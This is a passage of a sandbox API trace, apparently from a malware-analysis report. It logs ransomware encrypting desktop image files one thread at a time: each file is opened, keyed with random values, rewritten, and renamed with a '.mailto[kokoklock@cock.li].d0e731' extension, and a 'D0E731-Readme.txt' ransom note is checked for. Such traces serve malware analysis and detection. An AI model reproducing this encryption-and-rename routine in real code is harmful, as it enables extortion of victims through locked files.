[0069.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be10) returned 1 [0069.981] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be38) returned 1 [0069.981] CloseHandle (hObject=0x774) returned 1 [0070.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e63d8 [0070.922] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg" [0070.922] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" [0070.922] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fbokzxbn1omw23qx.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.973] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0070.973] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fBoKzxbN1Omw23QX.jpg", dwFileAttributes=0x20) returned 0 [0070.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fac0 [0070.973] wcscpy (in: _Dest=0x347fac0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.973] wcscat (in: _Dest=0x347fac0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.973] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fac0) returned 1 [0070.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34274e0) returned 1 [0070.973] RtlExitUserThread (Status=0x1) Thread: id = 450 os_tid = 0xf68 [0069.985] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png")) returned 0x20 [0069.985] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png", dwFileAttributes=0x20) returned 1 [0069.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0069.986] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12ebf8c8 | out: lpFileSize=0x12ebf8c8*=38289) returned 1 [0069.986] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x958d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.986] ReadFile (in: hFile=0x774, lpBuffer=0x12ebf89c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x12ebf89c*, lpNumberOfBytesRead=0x12ebf898*=0x4, lpOverlapped=0x0) returned 1 [0069.986] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0069.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be10 [0069.987] NtQuerySystemTime (in: CurrentTime=0x12ebf874 | out: CurrentTime=0x12ebf874*=132121176278850261) returned 0x0 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xf3cb79dc [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x8d528e25 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x5661bbea [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x5eb0b03 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x36c56e09 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x44b0b426 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xb097b05a [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x69c33c58 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xcff4fe5d [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x92580bf8 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xd3338299 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x11e5abd [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x5f19e5d [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x91708771 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xa2cf749e [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xcab8fba6 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xf5cb7a4d [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x9f444213 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xf84a615 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x771a962d [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x3f4129ee [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xd42dc85e [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xa44ee7c4 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x569d4c35 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xdd7f0f43 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x52be5a39 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xdd25202f [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x52271f23 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xd4149bd6 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x8bcf93b0 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0x8b442213 [0069.987] RtlRandom (in: Seed=0x12ebf880 | out: Seed=0x12ebf880) returned 0xe425da41 [0069.998] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.998] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12ebf84c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12ebf84c*=0x4096, lpOverlapped=0x0) returned 1 [0069.998] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be88 [0069.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be88) returned 1 [0069.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0069.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be88 [0069.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be88) returned 1 [0069.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.999] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12ebf84c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12ebf84c*=0x4096, lpOverlapped=0x0) returned 1 [0069.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.999] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x9591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.010] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12ebf884, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12ebf884*=0x20, lpOverlapped=0x0) returned 1 [0070.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.011] WriteFile (in: hFile=0x774, lpBuffer=0x342be60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x342be60*, lpNumberOfBytesWritten=0x12ebf898*=0x8, lpOverlapped=0x0) returned 1 [0070.011] WriteFile (in: hFile=0x774, lpBuffer=0x12ebf8b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x12ebf8b0*, lpNumberOfBytesWritten=0x12ebf898*=0x4, lpOverlapped=0x0) returned 1 [0070.011] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12ebf898*=0x4, lpOverlapped=0x0) returned 1 [0070.011] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12ebf898*=0x6c, lpOverlapped=0x0) returned 1 [0070.011] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12ebf898*=0x20, lpOverlapped=0x0) returned 1 [0070.012] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12ebf898, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12ebf898*=0x4, lpOverlapped=0x0) returned 1 [0070.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be38) returned 1 [0070.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be60) returned 1 [0070.012] CloseHandle (hObject=0x774) returned 1 [0070.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33cf428 [0070.922] wcscpy (in: _Dest=0x33cf428, _Source="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png") returned="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png" [0070.922] wcscat (in: _Dest=0x33cf428, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" [0070.922] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\ftzcunuzhwbzgls ivkr.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.971] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf428) returned 1 [0070.971] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\fTZcunuZHWbZglS iVkr.png", dwFileAttributes=0x20) returned 0 [0070.972] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.972] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.972] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.972] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e0a0) returned 1 [0070.972] RtlExitUserThread (Status=0x1) Thread: id = 451 os_tid = 0xdd8 [0070.016] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png")) returned 0x20 [0070.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png", dwFileAttributes=0x20) returned 1 [0070.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.017] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12f3f9ac | out: lpFileSize=0x12f3f9ac*=31894) returned 1 [0070.017] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x7c92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.017] ReadFile (in: hFile=0x774, lpBuffer=0x12f3f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x12f3f980*, lpNumberOfBytesRead=0x12f3f97c*=0x4, lpOverlapped=0x0) returned 1 [0070.018] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be38 [0070.018] NtQuerySystemTime (in: CurrentTime=0x12f3f958 | out: CurrentTime=0x12f3f958*=132121176279160363) returned 0x0 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x7a0fdf9 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xa1cfad80 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x3353bcce [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xa5475c97 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x830a42df [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x731d8319 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xd67d9460 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x9ffd3cd [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x56e67253 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xc091239 [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x3da5c09c [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x9eae65bf [0070.018] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x29a43bd8 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xcfca1c5b [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xbdcb0f9d [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xb849511b [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x6b8341b2 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xd2f85378 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x9078b5ae [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xaa021d5e [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xfe6d9907 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x46aaac44 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x500dddd6 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xd2445bd1 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x11574f49 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x783e821d [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x367e8e59 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x3507de29 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x28da1ff2 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0x5774e564 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xe6ed44b0 [0070.019] RtlRandom (in: Seed=0x12f3f964 | out: Seed=0x12f3f964) returned 0xfdb9ef90 [0070.030] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.030] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12f3f930, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12f3f930*=0x4096, lpOverlapped=0x0) returned 1 [0070.031] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.031] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342beb0 [0070.031] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342beb0) returned 1 [0070.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.032] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342beb0 [0070.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342beb0) returned 1 [0070.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.032] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12f3f930, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12f3f930*=0x4096, lpOverlapped=0x0) returned 1 [0070.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.032] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x7c96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.032] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12f3f968, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12f3f968*=0x20, lpOverlapped=0x0) returned 1 [0070.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.032] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.032] WriteFile (in: hFile=0x774, lpBuffer=0x342be88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x342be88*, lpNumberOfBytesWritten=0x12f3f97c*=0x8, lpOverlapped=0x0) returned 1 [0070.033] WriteFile (in: hFile=0x774, lpBuffer=0x12f3f994*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x12f3f994*, lpNumberOfBytesWritten=0x12f3f97c*=0x4, lpOverlapped=0x0) returned 1 [0070.033] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12f3f97c*=0x4, lpOverlapped=0x0) returned 1 [0070.033] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12f3f97c*=0x6c, lpOverlapped=0x0) returned 1 [0070.033] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12f3f97c*=0x20, lpOverlapped=0x0) returned 1 [0070.033] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12f3f97c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12f3f97c*=0x4, lpOverlapped=0x0) returned 1 [0070.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be60) returned 1 [0070.033] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be88) returned 1 [0070.033] CloseHandle (hObject=0x774) returned 1 [0070.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c030 [0070.923] wcscpy (in: _Dest=0x347c030, _Source="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png") returned="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png" [0070.923] wcscat (in: _Dest=0x347c030, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" [0070.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\fyxfqapyaf.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.970] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c030) returned 1 [0070.970] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FYxfQApyAF.png", dwFileAttributes=0x20) returned 0 [0070.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.970] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.970] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.970] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431468) returned 1 [0070.970] RtlExitUserThread (Status=0x1) Thread: id = 452 os_tid = 0x754 [0070.035] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi" (normalized: 